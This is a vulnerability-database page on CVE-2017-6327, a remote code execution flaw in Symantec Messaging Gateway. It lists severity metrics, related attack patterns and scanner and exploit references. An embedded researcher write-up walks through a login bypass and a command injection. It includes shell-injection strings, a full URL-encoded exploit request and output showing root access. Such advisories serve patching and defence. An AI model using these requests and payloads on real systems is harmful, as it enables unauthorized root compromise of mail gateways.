Vulnerabilities > CVE-2017-6327 - Improper Input Validation vulnerability in Symantec Message Gateway
Attack vector
NETWORK Attack complexity
LOW Privileges required
SINGLE Confidentiality impact
PARTIAL Integrity impact
PARTIAL Availability impact
PARTIAL Summary
The Symantec Messaging Gateway before 10.6.3-267 can encounter an issue of remote code execution, which describes a situation whereby an individual may obtain the ability to execute commands remotely on a target machine or in a target process. In this type of occurrence, after gaining access to the system, the attacker may attempt to elevate their privileges.
Vulnerable Configurations
Common Weakness Enumeration (CWE)
Common Attack Pattern Enumeration and Classification (CAPEC)
- Buffer Overflow via Environment Variables This attack pattern involves causing a buffer overflow through manipulation of environment variables. Once the attacker finds that they can modify an environment variable, they may try to overflow associated buffers. This attack leverages implicit trust often placed in environment variables.
- Server Side Include (SSI) Injection An attacker can use Server Side Include (SSI) Injection to send code to a web application that then gets executed by the web server. Doing so enables the attacker to achieve similar results to Cross Site Scripting, viz., arbitrary code execution and information disclosure, albeit on a more limited scale, since the SSI directives are nowhere near as powerful as a full-fledged scripting language. Nonetheless, the attacker can conveniently gain access to sensitive files, such as password files, and execute shell commands.
- Cross Zone Scripting An attacker is able to cause a victim to load content into their web-browser that bypasses security zone controls and gain access to increased privileges to execute scripting code or other web objects such as unsigned ActiveX controls or applets. This is a privilege elevation attack targeted at zone-based web-browser security. In a zone-based model, pages belong to one of a set of zones corresponding to the level of privilege assigned to that page. Pages in an untrusted zone would have a lesser level of access to the system and/or be restricted in the types of executable content it was allowed to invoke. In a cross-zone scripting attack, a page that should be assigned to a less privileged zone is granted the privileges of a more trusted zone. This can be accomplished by exploiting bugs in the browser, exploiting incorrect configuration in the zone controls, through a cross-site scripting attack that causes the attackers' content to be treated as coming from a more trusted page, or by leveraging some piece of system functionality that is accessible from both the trusted and less trusted zone. This attack differs from "Restful Privilege Escalation" in that the latter correlates to the inadequate securing of RESTful access methods (such as HTTP DELETE) on the server, while cross-zone scripting attacks the concept of security zones as implemented by a browser.
- Cross Site Scripting through Log Files An attacker may leverage a system weakness where logs are susceptible to log injection to insert scripts into the system's logs. If these logs are later viewed by an administrator through a thin administrative interface and the log data is not properly HTML encoded before being written to the page, the attackers' scripts stored in the log will be executed in the administrative interface with potentially serious consequences. This attack pattern is really a combination of two other attack patterns: log injection and stored cross site scripting.
- Command Line Execution through SQL Injection An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.
D2sec
| name | Symantec Messaging Gateway RestoreAction.performRestore() RCE |
| url | http://www.d2sec.com/exploits/symantec_messaging_gateway_restoreaction.performrestore_rce.html |
Exploit-Db
| description | Symantec Messaging Gateway 10.6.3-2 - Unauthenticated root Remote Command Execution. CVE-2017-6327. Webapps exploit for JSP platform |
| file | exploits/jsp/webapps/42519.txt |
| id | EDB-ID:42519 |
| last seen | 2017-08-18 |
| modified | 2017-08-18 |
| platform | jsp |
| port | |
| published | 2017-08-18 |
| reporter | Exploit-DB |
| source | https://www.exploit-db.com/download/42519/ |
| title | Symantec Messaging Gateway 10.6.3-2 - Unauthenticated root Remote Command Execution |
| type | webapps |
Nessus
| NASL family | CGI abuses |
| NASL id | SYMANTEC_MESSAGING_GATEWAY_SYM17-006.NASL |
| description | According to its self-reported version number, the Symantec Messaging Gateway (SMG) running on the remote host is 10.x prior to 10.6.3-267. It is, therefore, affected by multiple vulnerabilities : - An unspecified flaw exists due to a failure to properly sanitize user-supplied input. An authenticated, remote attacker can exploit this to execute arbitrary commands. (CVE-2017-6327) - A cross site request Forgery (CSRF) vulnerability exists as HTTP requests to certain pages do not require multiple steps, explicit confirmation, or a unique token when performing certain sensitive actions. (CVE-2017-6328) Note that Nessus has not tested for these issues but has instead relied only on the application |
| last seen | 2020-06-01 |
| modified | 2020-06-02 |
| plugin id | 102528 |
| published | 2017-08-16 |
| reporter | This script is Copyright (C) 2017-2019 and is owned by Tenable, Inc. or an Affiliate thereof. |
| source | https://www.tenable.com/plugins/nessus/102528 |
| title | Symantec Messaging Gateway 10.x < 10.6.3-267 Multiple Vulnerabilities (SYM17-006) |
| code | |
Packetstorm
| data source | https://packetstormsecurity.com/files/download/143821/symantecmg-exec.txt |
| id | PACKETSTORM:143821 |
| last seen | 2017-08-22 |
| published | 2017-08-18 |
| reporter | Philip Pettersson |
| source | https://packetstormsecurity.com/files/143821/Symantec-Messaging-Gateway-10.6.3-2-Remote-Code-Execution.html |
| title | Symantec Messaging Gateway 10.6.3-2 Remote Code Execution |
Seebug
| bulletinFamily | exploit |
| description | ### Bug #1: Web authentication bypass The web management interface is available via HTTPS, and you can't do much without logging in. If the current session (identified by the `JSESSIONID` cookie) has the `user` attribute set, the session is considered authenticated. The file LoginAction.class defines a number of public methods and they can all be reached via unauthenticated web requests. By making a GET request to `/brightmail/action1.do?method=method_name` we can execute `LoginAction.method_name` if `method_name` is a public method. One such public method which will be the target of our authentication bypass is called `LoginAction.notificationLogin`. It does the following: 1. Decrypt the `notify` parameter using `BrightmailDecrypt.decrypt` 2. Creates a new `UserTO` object using the decrypted `notify` parameter as an email value 3. Creates a new session, invalidating the old one if necessary 4. Sets the `user` attribute of the newly created session to our constructed UserTO object It essentially takes a username value from a GET parameter and logs you in as this user if it exists. If not, it creates this user for you. We need to encrypt our `notify` argument so that `BrightmailDecrypt.decrypt` will decrypt it properly. Fortunately the encryption is just PBEWithMD5AndDES using a static password, conveniently included in the code itself. I won't include the encryption password or a fully encrypted notify string in this post. #### Example request: ``` GET /brightmail/action1.do?method=notificationLogin¬ify=MTIzNDU2Nzg%3d6[...]&id=test HTTP/1.1 ... HTTP/1.1 302 Found Server: Apache-Coyote/1.1 ... Set-Cookie: JSESSIONID=9E45E9F70FAC0AADAC9EB7A03532F65D; Path=/brightmail; Secure; HttpOnly ```` ### Bug #2: Command injection The RestoreAction.performRestore method can be reached with an authenticated session and it takes the restoreSource and localBackupFilename parameters. After a long chain of function calls, localBackupFilename ends up being sent to the local "bmagent" daemon listening on port 41002. It will execute /opt/Symantec/Brightmail/cli/bin/db-restore with argv[1] being our supplied value. The db-restore script is a sudo wrapper for /opt/Symantec/Brightmail/cli/sbin/db-restore, which in turn is a perl script containing a command injection in a call to /usr/bin/du. ``` $ /opt/Symantec/Brightmail/cli/bin/db-restore 'asdf;"`id`";' /usr/bin/du: cannot access `/data/backups/asdf': No such file or directory sh: uid=0(root) gid=0(root) groups=0(root): command not found ERROR: Failed to copy 'asdf;"`id`";' from local backup store: No such file or directory ``` This command injection can be exploited from the web management interface with a valid session, which we can create using bug #1. ### Combining bug #1 and #2 The last step is to get a CSRF token since the vulnerable performRestore function is annotated with @CSRF. After some quick digging it turns out that all you need to do is call /brightmail/common.jsp to get a token that will be valid for all your requests. The URL-encoded value we provide for the `localBackupFileSelection` parameter is: asdf`id>/data/bcc/webapps/brightmail/output.txt;/bin/uname -a>>/data/bcc/webapps/brightmail/output.txt`hehehe #### Request: ``` GET /brightmail/admin/restore/action5.do?method=performRestore&symantec.brightmail.key.TOKEN=bbda9b0a52bca4a43cc2b6051cd6b95900068cd3&restoreSource=APPLIANCE&localBackupFileSelection=%61%73%64%66%60%69%64%3e%2f%64%61%74%61%2f%62%63%63%2f%77%65%62%61%70%70%73%2f%62%72%69%67%68%74%6d%61%69%6c%2f%6f%75%74%70%75%74%2e%74%78%74%3b%2f%62%69%6e%2f%75%6e%61%6d%65%20%2d%61%3e%3e%2f%64%61%74%61%2f%62%63%63%2f%77%65%62%61%70%70%73%2f%62%72%69%67%68%74%6d%61%69%6c%2f%6f%75%74%70%75%74%2e%74%78%74%60%68%65%68%65%68%65 HTTP/1.1 Host: 192.168.205.220 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Cookie: JSESSIONID=34D61B34698831DB765A9DD5E0049D0B Connection: close Upgrade-Insecure-Requests: 1 ``` #### Response: ``` HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Cache-Control: no-store,no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT X-Frame-Options: SAMEORIGIN Content-Type: text/html;charset=UTF-8 Content-Length: 803 Date: Thu, 29 Jun 2017 06:48:12 GMT Connection: close <HTML> <title>Symantec Messaging Gateway - Restore</title> ... ``` Now to confirm that our command output was correctly placed in a file inside the webroot. ``` imac:~% curl -k https://192.168.205.220/brightmail/output.txt uid=0(root) gid=0(root) groups=0(root) Linux localhost.localdomain 2.6.32-573.3.1.el6.x86_64 #1 SMP Thu Aug 13 22:55:16 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux ``` #### EXPLOIT OUTPUT ``` imac:~/brightmail% python brightmail-rce.py https://192.168.205.220/brightmail bypassing login.. * JSESSIONID=693079639299816F80016123BE8A0167 verifying login bypass.. * Version: 10.6.3 getting csrf token.. * 1e35af8c567d3448a65c8516a835cec30b6b8b73 done, verifying.. uid=501(bcc) gid=99(nobody) euid=0(root) egid=0(root) groups=0(root),99(nobody),499(mysql),502(bcc) Linux localhost.localdomain 2.6.32-573.3.1.el6.x86_64 #1 SMP Thu Aug 13 22:55:16 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux # cat /etc/issue Symantec Messaging Gateway Version 10.6.3-2 Copyright (c) 1998-2017 Symantec Corporation. All rights reserved. ``` |
| id | SSV:96367 |
| last seen | 2017-11-19 |
| modified | 2017-08-21 |
| published | 2017-08-21 |
| reporter | Root |
| title | Symantec Messaging Gateway <= 10.6.3-2 unauthenticated root RCE(CVE-2017-6327) |